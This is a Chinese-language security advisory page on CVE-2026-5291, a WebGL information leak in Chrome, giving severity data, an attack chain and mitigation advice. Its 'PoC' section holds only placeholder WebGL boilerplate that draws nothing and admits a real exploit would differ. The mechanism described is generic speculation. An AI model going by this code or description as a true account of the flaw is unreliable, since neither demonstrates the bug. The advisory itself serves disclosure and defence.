IPBUF安全漏洞报告
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CVE-2026-5291 CVSS 6.5 中危

CVE-2026-5291 Google Chrome WebGL信息泄露漏洞

披露日期: 2026-04-01

漏洞信息

漏洞编号
CVE-2026-5291
漏洞类型
信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome

相关标签

信息泄露Google ChromeWebGLCVSS-6.5CWE-200

漏洞概述

Google Chrome在146.0.7680.178之前的版本中存在WebGL实现不当的漏洞。远程攻击者可以通过特制的HTML页面,利用该缺陷从浏览器进程内存中获取潜在的敏感信息。此漏洞攻击复杂度低,无需用户认证,但需要用户交互,主要影响信息的机密性。

技术细节

该漏洞的核心在于Google Chrome中的WebGL组件未能正确验证或隔离图形处理过程中的内存访问。WebGL允许通过JavaScript在浏览器中进行GPU加速渲染。由于实现不当,攻击者可以构造特定的WebGL指令(如特定的着色器程序或纹理操作),导致浏览器在渲染时读取了未初始化或越界的内存区域。当用户访问包含恶意代码的网页时,恶意脚本会调用WebGL API执行这些指令。随后,攻击者可以通过`readPixels`或其他WebGL扩展接口读取渲染结果,从而捕获原本不应暴露的进程内存数据。这些数据可能包含内存地址、对象指针或其他敏感内容,虽然不直接导致代码执行,但可用于绕过ASLR等安全机制。

攻击链分析

STEP 1
1. 构造恶意页面
攻击者编写包含特定WebGL指令和着色器代码的HTML页面,旨在触发内存读取异常。
STEP 2
2. 诱导用户访问
通过钓鱼邮件或社会工程学手段,诱导目标用户使用易受攻击的Chrome版本访问该恶意页面。
STEP 3
3. 执行WebGL代码
用户浏览器加载页面并执行JavaScript,WebGL API开始处理恶意图形指令,导致内存泄露。
STEP 4
4. 提取敏感数据
攻击者脚本通过读取渲染缓冲区或特定返回值,捕获泄露的内存数据并发送到远程服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-5291 (Conceptual WebGL Info Leak) This script demonstrates a potential WebGL memory read scenario. --> <html> <body> <canvas id="glCanvas" width="1" height="1"></canvas> <script> const canvas = document.getElementById('glCanvas'); const gl = canvas.getContext('webgl'); if (!gl) { console.log('WebGL not supported'); } else { // Vertex shader source const vsSource = ` attribute vec4 aVertexPosition; void main() { gl_Position = aVertexPosition; } `; // Fragment shader source simulating potential leak const fsSource = ` precision mediump float; void main() { // Attempt to access uninitialized memory or specific patterns // In a real exploit, this would involve specific uniforms or attributes // triggering the out-of-bounds read. gl_FragColor = vec4(0.0, 0.0, 0.0, 1.0); } `; function loadShader(gl, type, source) { const shader = gl.createShader(type); gl.shaderSource(shader, source); gl.compileShader(shader); if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) { console.error('An error occurred compiling the shaders: ' + gl.getShaderInfoLog(shader)); gl.deleteShader(shader); return null; } return shader; } const vertexShader = loadShader(gl, gl.VERTEX_SHADER, vsSource); const fragmentShader = loadShader(gl, gl.FRAGMENT_SHADER, fsSource); const shaderProgram = gl.createProgram(); gl.attachShader(shaderProgram, vertexShader); gl.attachShader(shaderProgram, fragmentShader); gl.linkProgram(shaderProgram); if (!gl.getProgramParameter(shaderProgram, gl.LINK_STATUS)) { console.error('Unable to initialize the shader program: ' + gl.getProgramInfoLog(shaderProgram)); } // Draw to trigger the potential vulnerability path gl.useProgram(shaderProgram); // Setup buffers (simplified) const positionBuffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer); const positions = [0.0, 0.0]; gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(positions), gl.STATIC_DRAW); // Attempt to read pixels which might contain leaked data const pixels = new Uint8Array(4); gl.readPixels(0, 0, 1, 1, gl.RGBA, gl.UNSIGNED_BYTE, pixels); console.log('Potential leaked data:', pixels); } </script> </body> </html>

影响范围

Google Chrome < 146.0.7680.178

防御指南

临时缓解措施
在未完成补丁更新前,用户应谨慎对待来源不明的网页链接,避免点击可疑内容。管理员可以考虑在企业环境中暂时禁用WebGL功能以阻断攻击面,但这可能会影响正常的网页显示功能。

参考链接

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